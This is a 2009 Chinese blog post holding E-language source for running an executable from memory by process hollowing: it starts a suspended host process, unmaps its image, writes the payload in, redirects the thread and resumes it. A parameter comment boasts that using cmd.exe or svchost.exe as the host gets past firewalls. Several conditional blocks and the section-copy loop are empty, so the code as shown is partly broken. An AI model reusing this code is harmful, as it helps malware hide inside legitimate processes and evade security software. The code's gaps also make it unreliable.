在内存中运行EXE
(2009-10-03 07:55:14)
标签:
it |
分类: 编程心得 |
.版本 2
.支持库 spec
.子程序 在内存中运行EXE, 逻辑型, 公开,
可以直接运行资源中的程序,不必释放。成功返回真,失败返回假。
.参数 abExeFile, 字节集, , 欲执行的程序,不支持某些加了壳的程序,请自行测试。
.参数 命令行, 文本型, 可空, 为程序提供的命令行参数,不需要请留空。
.参数 sVictim, 文本型, 可空,
外壳程序的路径(如果用系统程序做外壳,如cmd.exe、svchost.exe,可以实现穿防火墙,呵呵),不支持某些程序,请自行测试;不在当前目录下要提供绝对路径;留空默认为cmd.exe,如果无法运行,请换用不同的程序尝试。
.参数 运行信息, 运行信息, 参考 可空,
用来接收在内存中执行的exe的运行信息(进程、主线程的句柄和ID)。不需要可留空。
.参数 是否等待程序运行完毕, 逻辑型, 可空, 默认为假,即不等待。
.局部变量 idh, IMAGE_DOS_HEADER
.局部变量 inh, IMAGE_NT_HEADERS
.局部变量 ish, IMAGE_SECTION_HEADER
.局部变量 si, STARTUPINFO
.局部变量 context, CONTEXT86
.局部变量 ImageBase, 整数型
.局部变量 i, 整数型
.局部变量 addr, 整数型
.局部变量 lOffset, 整数型
连续赋值 (0, 运行信息.进程ID, 运行信息.进程句柄, 运行信息.主线程ID,
运行信息.主线程句柄)
.如果真 (abExeFile = {
.如果真结束
CopyMemory_idh (idh, abExeFile [1], Len_idh (idh))
.如果真 (idh.e_magic ≠ 23117)
.如果真结束
CopyMemory_inh (inh, abExeFile [idh.e_lfanew + 1], Len_inh
(inh))
.如果真 (inh.Signature ≠ 17744)
.如果真结束
si.cb = Len_si (si)
.如果真 (CreateProcess (0, 选择 (是否为空 (sVictim), 取cmd路径 (), sVictim) + “
” + 命令行, 0, 0, 0, 4, 0, 0, si, 运行信息) = 0)
.如果真结束
context.ContextFlags = 65538
.如果真 (GetThreadContext (运行信息.主线程句柄, context) = 0)
.如果真结束
ReadProcessMemory (运行信息.进程句柄, context.Ebx + 8, addr, 4, 0)
.如果真 (addr = 0)
.如果真结束
.如果真 (ZwUnmapViewOfSection (运行信息.进程句柄, addr) = 0)
.如果真结束
ImageBase = VirtualAllocEx (运行信息.进程句柄,
inh.OptionalHeader.ImageBase, inh.OptionalHeader.SizeOfImage,
12288, 4)
.如果真 (ImageBase = 0)
.如果真结束
WriteProcessMemory (运行信息.进程句柄, ImageBase, abExeFile [1],
inh.OptionalHeader.SizeOfHeaders, 0)
lOffset = idh.e_lfanew + Len_inh (inh)
.计次循环首 (inh.FileHeader.NumberOfSections, i)
.计次循环尾 ()
WriteProcessMemory2 (运行信息.进程句柄, context.Ebx + 8, ImageBase, 4,
0)
context.Eax = ImageBase +
inh.OptionalHeader.AddressOfEntryPoint
SetThreadContext (运行信息.主线程句柄, context)
ResumeThread (运行信息.主线程句柄)
.如果真 (是否等待程序运行完毕)
.如果真结束
.如果真 (是否为空 (运行信息))
.如果真结束
返回 (真)
.子程序 ClearProcess
.参数 运行信息, 运行信息, 参考
TerminateProcess (运行信息.进程句柄, 0)
CloseHandle (运行信息.主线程句柄)
CloseHandle (运行信息.进程句柄)
连续赋值 (0, 运行信息.进程ID, 运行信息.进程句柄, 运行信息.主线程ID, 运行信息.主线程句柄)
.子程序 Protect, 整数型
.参数 characteristics, 整数型
返回 (多项选择 (RShift (characteristics, 29) + 1, 1, 16, 2, 32, 4, 64, 4, 64))
.子程序 RShift, 整数型
.参数 lValue, 整数型
.参数 lNumberOfBitsToShift, 整数型
返回 (vbLongToULong (lValue) ÷ 数值_求次方 (2, lNumberOfBitsToShift))
.子程序 vbLongToULong, 双精度小数型
.参数 Value, 整数型
.如果真 (Value < 0)
.如果真结束
返回 (Value)
.子程序 数值_求次方, 双精度小数型
.参数 欲求次方数值, 双精度小数型
.参数 次方数, 双精度小数型
置入代码 ({ 221, 69, 16, 221, 69, 8, 217, 241,
217, 192, 217, 252, 220, 225, 217, 201, 217, 224, 217, 240, 217,
232, 222, 193, 217, 253, 221, 217, 221, 93, 248, 139, 85, 252, 139,
69, 248, 201, 194, 16, 0 })
返回 (0)
.子程序 字节集_取长度, 整数型
.参数 字节集, 字节集
.局部变量 address, 整数型
.局部变量 ret, 整数型
.如果真 (字节集 = {
.如果真结束
address = lstrcpyn (字节集, 字节集, 0)
RtlMoveMemory (ret, address - 4, 4)
返回 (ret)
.子程序 取cmd路径, 文本型
.局部变量 size, 整数型
.局部变量 name, 文本型
size = GetEnvironmentVariable (“ComSpec”,
“”, 0)
.计次循环首 (size, )
.计次循环尾 ()
GetEnvironmentVariable (“ComSpec”, name, size)
返回 (name)
.版本 2
.DLL命令 Len_idh, 整数型, "kernel32",
"LocalSize"
.DLL命令 CopyMemory_inh, , "kernel32",
"RtlMoveMemory"
.DLL命令 CopyMemory_idh, , "kernel32",
"RtlMoveMemory"
.DLL命令 Len_inh, 整数型, "kernel32",
"LocalSize"
.DLL命令 Len_si, 整数型, "kernel32",
"LocalSize"
.DLL命令 GetThreadContext, 整数型,
"kernel32"
.DLL命令 ReadProcessMemory, 整数型,
"kernel32"
.DLL命令 ZwUnmapViewOfSection, 整数型,
"ntdll.dll"
.DLL命令 CreateProcess, 整数型, "kernel32",
"CreateProcessA"
.DLL命令 VirtualAllocEx, 整数型,
"kernel32"
.DLL命令 WriteProcessMemory, 整数型,
"kernel32"
.DLL命令 CopyMemory_ish, , "kernel32",
"RtlMoveMemory"
.DLL命令 Len_ish, 整数型, "kernel32",
"LocalSize"
.DLL命令 VirtualProtectEx, 整数型,
"kernel32"
.DLL命令 WriteProcessMemory2, 整数型,
"kernel32", "WriteProcessMemory"
.DLL命令 SetThreadContext, 整数型,
"kernel32"
.DLL命令 ResumeThread, 整数型, "kernel32",
"ResumeThread"
.DLL命令 TerminateProcess, 整数型, "kernel32",
"TerminateProcess"
.DLL命令 CloseHandle, 整数型, "kernel32",
"CloseHandle", 公开, 关闭句柄。如果接收了进程、线程句柄,不用时记得用该函数关闭,否则会造成内存泄露。
.DLL命令 lstrcpyn, 整数型, , "lstrcpyn"
.DLL命令 RtlMoveMemory, 整数型, ,
"RtlMoveMemory"
.DLL命令 GetEnvironmentVariable, 整数型,
"kernel32", "GetEnvironmentVariableA"
.DLL命令 WaitForSingleObject, 整数型,
"kernel32", "WaitForSingleObject"
喜欢
0
赠金笔